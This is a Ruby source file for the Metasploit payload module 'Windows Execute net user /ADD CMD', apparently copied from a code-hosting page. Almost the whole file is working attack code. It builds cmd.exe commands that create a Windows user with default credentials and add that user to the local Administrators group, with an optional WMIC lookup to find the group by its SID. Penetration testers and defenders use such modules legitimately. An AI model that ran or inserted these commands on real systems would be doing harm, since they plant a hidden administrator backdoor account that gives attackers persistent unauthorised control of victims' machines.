96 lines
3.1 KiB
Ruby
96 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 97
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Execute net user /ADD CMD',
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'Description' => %q{
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Create a new user and add them to local administration group.
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Note: The specified password is checked for common complexity
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requirements to prevent the target machine rejecting the user
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for failing to meet policy requirements.
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Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
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},
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'Author' => ['hdm','scriptjunkie','Chris John Riley'],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::None,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_options(
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[
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OptString.new('USER', [ true, "The username to create", "metasploit" ]),
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OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
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OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
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OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),
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], self.class)
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register_advanced_options(
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[
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OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
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], self.class)
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end
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def generate
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return super + command_string
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end
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def command_string
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user = datastore['USER'] || 'metasploit'
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pass = datastore['PASS'] || ''
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cust = datastore['CUSTOM'] || ''
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wmic = datastore['WMIC']
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complexity = datastore['COMPLEXITY']
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if(pass.length > 14)
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raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
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end
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if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
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raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
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end
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if not cust.empty?
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print_status("Using custom group name #{cust}")
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return "cmd.exe /c net user #{user} #{pass} /ADD && " +
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"net localgroup \"#{cust}\" #{user} /ADD"
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elsif wmic
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print_status("Using WMIC to discover the administrative group name")
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return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
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"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
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"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
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"net user #{user} #{pass} /ADD && " +
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"net localgroup \"%X\" #{user} /ADD\""
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else
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return "cmd.exe /c net user #{user} #{pass} /ADD && " +
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"net localgroup Administrators #{user} /ADD"
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end
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end
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end
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